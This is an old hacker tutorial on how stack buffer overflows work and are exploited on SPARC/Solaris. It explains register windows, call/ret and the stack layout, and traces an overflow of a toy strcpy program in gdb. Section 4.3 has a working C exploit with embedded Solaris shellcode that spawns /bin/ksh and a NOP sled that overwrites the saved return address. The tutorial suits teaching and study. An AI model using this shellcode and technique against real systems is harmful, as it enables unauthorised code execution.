" IT'S TOASTED " Exploiting SPARC Buffer Overflow vulnerabilities by pr1 ToDO: return into libc example/explanation ?! ---/ Contents 1 - Introduction 2 - Architecture Overview 2.1 - Sparc Registers 2.2 - Sparc Pipeline 2.3 - Instruction Size 2.4 - Function Calls 2.5 - Leaf and Optimized Leaf Procedures 2.6 - Sparc Stack 3 - A Demonstration Vulnerability 3.1 - Studying the overflow in theory 3.2 - Studying the overflow with gdb 4 - Building an exploit 4.1 - Major differences between Sparc and x86 4.2 - Alignment 4.3 - The exploit 5 - Alternative ways of exploiting 6 - Conclusion 7 - References 8 - Greets ----/ 1 - Introduction Sparc is a RISC architecture build by Sun Microsystems. It´s supported by many operating systems like Solaris, Linux, OpenBSD, NetBSD,... As Sun decided to develop Solaris >= 9 for Sparc only and as there is not much information on Sparc overflows on the net i decided to write this article. There are some major differences in handling the calling and returning from functions and stack management on Sparc that are worth knowing. If you ever asked yourselve: "Why am I unable exploit this simply strcpy() in main() on Sparc ...". This paper has the answer. ----/ 2 - Architecture Overview There are 32 general purpose registers on Sparc at any given time. 8 of them are global, these are the "global" registers. They are called %g0 - %g7 and are consistent during procedure calls. Then there are another 24 registers in a so called register window. A window consists of 3 types of registers. The "in", "out" and "local" registers. A Sparc implementation can have from 2-32 windows thus having 40 - 520 registers. ( remember that the global registers are static ) The variable number of registers is the reason to call Sparc scalable. At any given time only one window is visible. This window is determined by the CWP ( current window pointer ) which is part of the PSR ( processor status register in Sparc V8 ). Its a whole register in Sparc V9. These instructions are primarily used for procedure calls. The concept is that "in" registers contain procedure arguments, "local" registers can be used for storing values while the procedure executes, "out" registers contain outgoing arguments. The "global" registers are used for values that do not change much between procedure calls. The register windows overlap partially. The SAVE operation renames the "out" registers to become the "in" registers of the called procedure. Because procedure calls are a quite frequent operation this was meant to improve performance. Actually this was a bad idea caused by studies that only considered insolated programs. The drawback is: With interaction with the system the registers have to be stored on the stack which results in a lot of slow store and load instructions. ----/ 2.1 - Sparc Registers The Registers are organized as follows: %g0 - %g7 ( %r0 - %r7 ) : global - registers %o0 - %o7 ( %r8 - %r15 ) : out - registers, they contain arguments for procedure calls %l0 - %l7 ( %r16 - %r23 ): local - registers, use them for local variables %i0 - %i7 ( %r24 - %r31 ): in - registers, after a procedure call these registers contain incoming arguments Some special registers: %g0 : always contains zero ( hardwired ) %sp ( %o6 ): the stack pointer, points to the top of the stack frame ( the last element pushed onto it ) %o7 : called subroutines return address %fp ( %i6 ): the frame pointer, points to the bottom of the stack frame %i7 : subroutine return address ( return address - eight ) %o0 : return value from called subroutine ----/ 2.2 - The Sparc Pipeline The Sparc Architecture uses a pipeline to improve performance. A pipeline is used to fetch/execute more instructions in the same time as without a pipeline. Usually there are several steps until a CPU finishes the execution of an instruction. The instruction has to be fetched, decoded, executed, branches have to be completed ( pc = npc ) and results have to be written to the destination. Doing all this things and then start from the beginning with the next instruction is a waste of time. Thus a pipeline was implemented to fetch instructions. While it decodes the first instruction it fetches the next one... and so on. Using this technique several instructions can be executed almost in parallel. How these steps are implemented differs from pipeline to pipeline. The Sparc pipeline has a depth of two. Hence there is a PC and a nPC ( next Program counter pointing to the next instruction to be executed ). nPC is always copied into PC after the current instruction was executed. You might ask yourself what happens if the CPU executes a branch instruction ( jumps somewhere ) and already has the next instrucion in the pipeline. It´s unknown at compile time whether this branch will be taken or not. The allready fetched instruction could simply be discarded but this would be a perfomance lost. Thus the Sparc architecture executes the instruction following the branch instruction before the branch is taken. e.g.: call subroutine <- %o0 is allready zero here xor %o0,%o0,%o0 <- executed before call This is known as a branch delay slot. ---/ 2.3 - Instruction size The x86 instructions differ in their length. Sparc uses a pipeline to improve perfomance and the designers found it easier to implement every instruction as a four byte opcode sequence. But this also means that a NOP has a length of four bytes as well. Usually this would be a little problem ( consider what happens if we jump into the middle of a NOP ). Because we have to care about alignment this problem vanishes soon though. ---/ 2.4 - Function calls The Sparc architecture uses the call/ret instruction pair to implement procedure calls. Both the CALL and RET instruction are so called synthetic instructions. The hardware equivalent instruction ( the instruction assembled into the binary ) is a jump ( jmpl ). Note "l" stands for link not for long. The assembler plays a bigger role on executinoi speed on RISC than on CISC: * The assembler reorders instruction to a logical eqivalent procedure to prevent different pipeline hazards. * It also optimizes branch delay slots via placing instructions in there. * It inlines macros of synthetic instructions or even compounds instructions. For example: * call subroutine == jmpl subroutine,%o7 ( remember that %o7 contains the called subroutines return address ) * ret == jmpl %i7+8,%g0 ( remember that %i7 is ret address - 8, %g0 always contains zero ) The CALL instruction saves the current value of PC in %o7, updates PC and sets nPC to the address specified in the CALL. The RET instruction updates PC and sets nPC to %i7+8. 8 bytes are added to the address because the address saved in %i7 is the address of the call instruction. Because all instructions have a size of four bytes and there is a branch delay slot of four bytes after the call we have to skip eight bytes. %i7 is used instead of %o7 because the SAVE instruction renamed the "out" register to "in" registers. Next thing a procedure does is building some stack space to store automatic ( local ) variables, compiler temporaries, pointer to return value, ... This is done with the SAVE and RESTORE instructions. * SAVE: The SAVE instruction reserves stack space for the above mentioned things. Its syntax is: save %sp, imm(ediate value), %sp. SAVE now makes the old %sp the new %fp, adds imm to the old %sp and stores the new value in the new %sp. Because the stack grows down imm should be a negative value. The CPW flag in the PSR register is also decremented. ( out registers become in registers ). Note that on Sparc V9 the behaviour is a little different. Sparc V9 has a seperate register for CWP. SAVE increments the CWP and RESTORE decrements it. * RESTORE: RESTORE now increments CWP ( Sparc V9 decrements ) the CPW. In registers become the out registers. The eight input registers and the eight local registers are restored to the values they contained before the most recent SAVE instruction. The restore instruction then acts like an add instruction except that the source registers are from the old register set and the destination register is from the new register set. Making %fp the new %sp. A procedure epilogue and prologue thus look like: save %sp, -368, %sp .... .... .... ret restore Restore is executed one slot later in the pipeline, but its effects take place before ret changes the %pc. ---/ 2.5 - Leaf and Optimized Leaf Procedures A leaf procedure is a procedure that does not call any other procedures. A routine that does not allocate a register window of its own by calling the SAVE instruction is termed an optimized leaf procedure. One way to recognize an optimized leaf procedure is by scanning the output of the assembly code instructions and noting the absence of a SAVE instruction. Leaf routines do not have a stack frame allocated to them. Leaf routines use their caller's stack frame and register window. If the routine is leaf the previous frames PC should be looked up in register %o7. Otherwise it needs to be looked up in register %i7, which is what register %o7 becomes after a SAVE instruction. This is what defines leafness. ---/ 2.6 - The Sparc Stack High Addresses /-----------------------\ %fp -> cw | automatic variables | \-----------------------/ /----------------------------------\ cw | space allocated with alloca() | \----------------------------------/ /----------------------------------\ cw | space for compiler temporaries | \----------------------------------/ /----------------------------------\ cl | outgoing parameters | \----------------------------------/ /----------------------------------------\ cl | copies of outgoing parameters | \----------------------------------------/ /----------------------------------------\ cl | one word ( hidden parameter ) | \----------------------------------------/ /-----------------------------------------------\ %sp -> cl | 64 byte for possible copy of register window | \-----------------------------------------------/ Low Addresses The stack consists of 2 parts: Current Workspace ( cw ): The current workspace is used by C procedures. It consists of automatic variables, space allocated by alloca() and space for compiler temporaries. When writing an assembly routine you only have to calculate space for temporary values you need. Call Linkage ( cl ): This space is required to save outgoing registers and the register window when control passes to another procedure. The Call Linkage is important for exploiting Sparc overflows. The minimum stack frame size is 96 byte. It consists of: * 64 bytes for copy of register window * 6 * 4 bytes for outgoing parameters * 4 bytes for the hidden parameter This are only 92 byte but the stack and frame pointer require to be on a eight byte boundary ( 92 is not divisible by eight ). Hence the minimum stack frame size is 96 byte. The reason to be on a eight byte boundary is that there is at least space for one temporary variable. As the current workspace contains a dynamically allocated field( alloca() ). We can not tell how much blocks this will be at compile time. Hence automatic variables are accessed via %fp as negative offsets and the others are accessed via %sp as positives offsets. ----/ 3 - A demonstration vulnerability Not every buffer overflow is exploitable on Sparc. We need at least one level of nesting function to be able to exploit it. void copy( const char *a ){ char buf[256]; strcpy(buf,a); } main( int argc, char *argv[] ) { copy( argv[1] ); } ---/ 3.1 - Studying the overflow in theory Let us recall what happens on function calls and function returns. %i7 contains main´s return address. It will return into exit() in _start to perform cleanup before program termination. main() calls copy(), jmpl ( call ) saves the return address back into main() in register %o7 and the SAVE instruction in/decrements the register window renaming %o7 into %i7. %i7 is allready filled with main´s() return address into exit() though. Thus main´s() register window is stored on copy´s() stack frame. %i7 contains now copy´s() return address back into main. strcpy() follows the same algorithm. After strcpy() overwrites parts of our stack we also overwrite copy´s() initial stack frame. Strcpy´s() stack frame and its stored return address back into copy() are still intact and strcpy() returns back into copy(). All register contents are still intact but copy´s() stack frame is damaged. Copy() finally restores and jumps back to main(). But main´s() register window was saved on copy´s() stack frame and damaged by our overflown strcpy(). When returning back into main() the saved/damaged register window is restored. The input and local registers now contain user supplied data. When main() returns it would usually jump into exit() in _start to perform cleanup, but as we changed the return address it jumps into nowhere ( 0x61616161 ) and dies with a SIGBUS error. ---/ 3.2 - Studying the overflow with gdb Let us feed this into gdb and see what happens. Note that i have deleted redundant information like static registers that are not saved in the register windows to shorten the output and to make the overflowing process clearer. This are our registers in main before copy is called. (gdb) info register sp 0xffbef838 o7 0x106c0 l0 0xc l1 0xff3400a4 l2 0xff33c5d8 l3 0x0 l4 0x0 l5 0x0 l6 0x0 l7 0xff3e6694 i0 0x2 i1 0xffbef90c i2 0xffbef918 i3 0x20870 i4 0x0 i5 0x0 fp 0xffbef8a8 i7 0x104c8 This is our stack frame before copy() is called. Thats our saved register window. Note the saved PC at 0xffbef874. (gdb) x/96x $sp %sp -> 0xffbef838: 0x0000000c 0xff3400a4 0xff33c5d8 0x00000000 [%l0 - %l3] 0xffbef848: 0x00000000 0x00000000 0x00000000 0xff3e6694 [%l4 - %l7] 0xffbef858: 0x00000002 0xffbef90c 0xffbef918 0x00020870 [%i0 - %i3] 0xffbef868: 0x00000000 0x00000000 0xffbef8a8 0x000104c8 [%i4 - %i7] . . . . . . . . . . . . . . . %fp -> 0xffbef9a8: 0x00000003 0x00010034 0x00000004 0x00000020 Breakpoint 5, 0x10610 in copy () Register values in copy() before the call to strcpy(). (gdb) info register sp 0xffbef6c8 o7 0x0 l0 0x0 l1 0x0 l2 0x0 l3 0x0 l4 0x0 l5 0x0 l6 0x0 l7 0x0 i0 0xffbefa37 i1 0xffbef910 i2 0xffbef90c i3 0x300 i4 0x2371c i5 0xff29bbc0 fp 0xffbef838 i7 0x10640 And the stack frame befor the strcpy() call. Note how the saved register window ( of main() ) moved "below" our input buffer. This is the register window of copy(). We will not be able to overwrite the PC at 0xbffef704 because its "above" our input buffer. This PC contains the return address back to main. (gdb) x/96x $sp %sp -> 0xffbef6c8: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbef6d8: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbef6e8: 0xffbefa37 0xffbef910 0xffbef90c 0x00000300 0xffbef6f8: 0x0002371c 0xff29bbc0 0xffbef838 0x00010640 [saved PC] . . . . . . . . . . . . . . . buf -> 0xffbef728: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbef738: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbef748: 0x00000000 0x00000000 0x00000000 0x00000000 . . . . . . . . . . . . . . . %fp -> 0xffbef838: 0x0000000c 0xff3400a4 0xff33c5d8 0x00000000 0xffbef848: 0x00000000 0x00000000 0x00000000 0xff3e6694 0xffbef858: 0x00000002 0xffbef90c 0xffbef918 0x00020870 0xffbef868: 0x00000000 0x00000000 0xffbef8a8 0x000104c8 <- PC ( PC to exit (in _start ) ) Breakpoint 6, 0x1061c in copy () Register values after strcpy() overflowed the buffer. (gdb) info register sp 0xffbef6c8 o7 0x10614 l0 0x0 l1 0x0 l2 0x0 l3 0x0 l4 0x0 l5 0x0 l6 0x0 l7 0x0 i0 0xffbefa37 i1 0xffbef910 i2 0xffbef90c i3 0x300 i4 0x2371c i5 0xff29bbc0 fp 0xffbef838 i7 0x10640 And the corrupted stack frame. (gdb) x/96x $sp 0xffbef6c8: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbef6d8: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbef6e8: 0xffbefa37 0xffbef910 0xffbef90c 0x00000300 0xffbef6f8: 0x0002371c 0xff29bbc0 0xffbef838 0x00010640* . . [ * PC to main still intact ] . . . . . . . . . . . . . . . buf-> 0xffbef728: 0x61616161 0x61616161 0x61616161 0x61616161 0xffbef738: 0x61616161 0x61616161 0x61616161 0x61616161 0xffbef748: 0x61616161 0x61616161 0x61616161 0x61616161 0xffbef758: 0x61616161 0x61616161 0x61616161 0x61616161 . . . . . . . . . . . . . . . 0xffbef868: 0x61616161 0x61616161 0x61616161 0x61616161* [* PC to exit damaged ] Very nice. We were able to alter main´s() saved PC into exit. After copy() restores the in and local registers are set to the "saved/damaged" values. Hence we altered these values due to the overflow of the input buffer the in and local registers contain our supplied values. Breakpoint 7, 0x10648 in main () (gdb) info register sp 0xffbef838 o7 0x10640 l0 0x61616161 l1 0x61616161 l2 0x61616161 l3 0x61616161 l4 0x61616161 l5 0x61616161 l6 0x61616161 l7 0x61616161 i0 0x61616161 i1 0x61616161 i2 0x61616161 i3 0x61616161 i4 0x61616161 i5 0x61616161 fp 0x61616161 i7 0x61616161 <- next ret will jump here+8 Main is now about to cleanup and jump into exit. But as we altered it´s saved PC it will jump into 0x61616161+8 and die. ----/ 4 - Building an exploit In this section we will build an exploit for the the vulnerability we just studied. We also list some differences between x86 and Sparc exploitation and cover alignment issues. ---/ 4.1 - Differences between x86 and Sparc exploitation * memory access: On x86 as on most CISC processors we can write to unaligned memory addresses without the CPU complaining. Sometimes we only have to adjust the alignment. Not so on Sparc. See more about alignment at 4.2. Note that writing to unaligned memory addresses is a CPU feature of the x86 family. It will complain if the AC ( alignment check ) flag is set in the flag register. * call/ret internals: Because of the internal working of the sparc stack frames and ret/call pairs we need at least one level of nesting function to be able to exploit a buffer overflow vulnerability on a Sparc. * finding the stack base address: Sparc Solaris uses a different stack base address on different architectures. - sun4u: 0xffbe...., - sun4m: 0xefff...., - sun4d: 0xdfff.... We can get the stack base address with the following assembler snippet: unsigned long get_sp( void ) { __asm__(" or %sp, %sp, %i0 " ); } * size of overflow: On a Sparc we usually have to be able to write more than just a few bytes beyond the target buffer. This is because we have to overwrite at least %l0 - %l7 and %i0 - %i6 before reaching the saved return address. * overwriting an address with one byte: Overflowing an address with one byte on x86 lets us control the least significant byte. Chances are good that we can alter some stack address a little bit to point into our shellcode. As Sparc is a big endian architecture we can only write from most to least significant byte. Thus we can alter only the most significant order byte with a one byte overflow. This decreases our chances of providing some usefull address. See [3] for more details on one byte overflows. ---/ 4.2 - Alignment As most other RISC processors Sparc does not allow unaligned memory accesses. This means we must not read from, write to or jump to any address that is not on a 4 byte boundary. Otherwise the CPU generates a Bus Error exception and our program dies. Also consider what happened if we jumped into the middle of one of our NOPs. Remember that every Sparc instruction is 4 bytes long. It is very probable that the processor would generate an Illegal Instruction exception and our program crashed as well. That is why we have to take care that our exploit return address is a multiple of 4, our shellcode lies at a 4 byte boundary in our attack buffer and our attack buffer itself is a multiple of 4. ---/ 4.3 - Exploiting the vulnerability Note that we take care about writing only to aligned memory addresses. If we put our shellcode to some unaligned address in our attack buffer we will never be able to reach it. Same with the nops. Unaligned nops makes us jump into the middle of a nop everytime we would reach the nops. This results in an Illegal Instruction exception and our program dies without executing our code. We also have to set %fp to a "save" address or the retl instruction will crash. A "save" address simply is some stack address. We could also use our return address to overwrite %fp. /* Exploits toy vulnerbility on Sparc/Solaris * * pr1 * June 2002 */ #include /* lsd - Solaris shellcode */ static char shell[]= /* 10*4+8 bytes */ "\x20\xbf\xff\xff" /* bn,a */ "\x20\xbf\xff\xff" /* bn,a */ "\x7f\xff\xff\xff" /* call */ "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ "\x92\x02\x20\x10" /* add %o0,16,%o1 */ "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ "\x82\x10\x20\x0b" /* mov 0x0b,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh" ; #define BUFSIZE 336 /* SPARC NOP */ static char np[] = "\xac\x15\xa1\x6e"; unsigned long get_sp( void ) { __asm__("or %sp,%sp,%i0"); } main( int argc, char *argv[] ) { char buf[ BUFSIZE ],*ptr; unsigned long ret,sp; int rem,i,err; ret = sp = get_sp(); if( argv[1] ) { ret -= strtoul( argv[1], (void *)0, 16 ); } /* align return address */ if( ( rem = ret % 4 ) ) { ret &= ~(rem); } bzero( buf, BUFSIZE ); for( i = 0; i < BUFSIZE; i+=4 ) { strcpy( &buf[i], np ); } memcpy( (buf + BUFSIZE - strlen( shell ) - 8),shell,strlen( shell )); ptr = &buf[328]; /* set fp to a save stack value */ *( ptr++ ) = ( sp >> 24 ) & 0xff; *( ptr++ ) = ( sp >> 16 ) & 0xff; *( ptr++ ) = ( sp >> 8 ) & 0xff; *( ptr++ ) = ( sp ) & 0xff; /* we now overwrite saved PC */ *( ptr++ ) = ( ret >> 24 ) & 0xff; *( ptr++ ) = ( ret >> 16 ) & 0xff; *( ptr++ ) = ( ret >> 8 ) & 0xff; *( ptr++ ) = ( ret ) & 0xff; buf[ BUFSIZE -1 ] = 0; #ifndef QUIET printf("Return Address 0x%x\n",ret); #endif err = execl( "./vul", "vul", buf, ( void *)0 ); if( err == -1 ) perror("execl"); } ----/ 5 - Alternative ways of exploitation As we saw very small overruns are not as likely to be exploitable on Sparc as they are on other platforms. But let us consider some special cases where you are able to overwrite other sensitive information on the stack. An example is overwriting a programs function pointer or jumpbuf with the address of system and telling it to execute /bin/sh. See [4] for more information about overwriting such structures. On sparc the text segment is mapped to small addresses. If we now try to overwrite this function pointer/jumpbuf with some other function - address. We can not write this small address into the register without any 0x00 bytes. This is because we can only write from most to least significant byte on Sparc. An alternative way is placing shellcode onto the stack and overwriting the function pointer with the shellcodes stack address which comprises eight bytes. Because of Alignment restrictions on Sparc we can´t exploit format string vulnerabilities via the "%n" directive.( Writing one byte 4 times ) by using the short qualifier the alignment is emulated either in software or special machine instructions are used, and you can usually write on every two byte boundary. See [6] for more information. The return into libc technique can also be applied on Solaris/Sparc to defeat non executable stack patches. See [7] for more information. Dynamic heap overflows via corruption of malloc internal structures are exploitable on Sparc as well. See [8] and [9] for a glibc and the SysV malloc implementation and exploitation discussion. ----/ 6 - Conclusion We need a bit more luck to be able to exploit Sparc buffer overflows than their brothers/sisters on x86. In general it is not enough to be able to overwrite just a few bytes of the buffer. Additionaly we saw that the way the stack is handled has a great influence on the exploitability issue of its buffer overrun vulnerabilities. This class of vulnerablities can not always be exploited on Sparc as there must exist at least one level of subroutine calls nesting, so that two concurrent ret/restore pairs can be executed by a vulnerable program after its stack got overrun. ----/ 7 - References [1] UNF - United Net Frontier [http://www.u-n-f.com] [2] Sun Microsystems Sparc Assembly Language Reference Manual [http://www.sparc.org] [3] Klog Frame pointer overwriting [http://www.phrack.org/show.php?p=55&a=8] [4] Matt Conover aka. Shok w00w00 on Heap Overflows [http://www.w00w00.org/files/articles/heaptut.txt] [5] some interesting pdfs about computer architectures [http://www.segfault.net/~scut/cpu] [6] Scut Exploiting Format String vulnerabilities [http://www.team-teso.net/releases/formatstring-1.2.tar.gz] [7] Horizon Return into libc exploits on Sparc/Solaris [http://packetstormsecurity.nl/groups/horizon/stack.txt] [8] Maxx Exploiting dynamic heap overflows via malloc chunk corruption. [http://www.phrack.org/phrack/57/p57-0x08] [9] Exploiting dynamic heap overflows via malloc chunk corruption. [http://www.phrack.org/phrack/57/p57-0x09] ----/ 8 - Greetings - Big thx to Scut for reviewing the paper - Svoern for mental support - all the other UNF fellows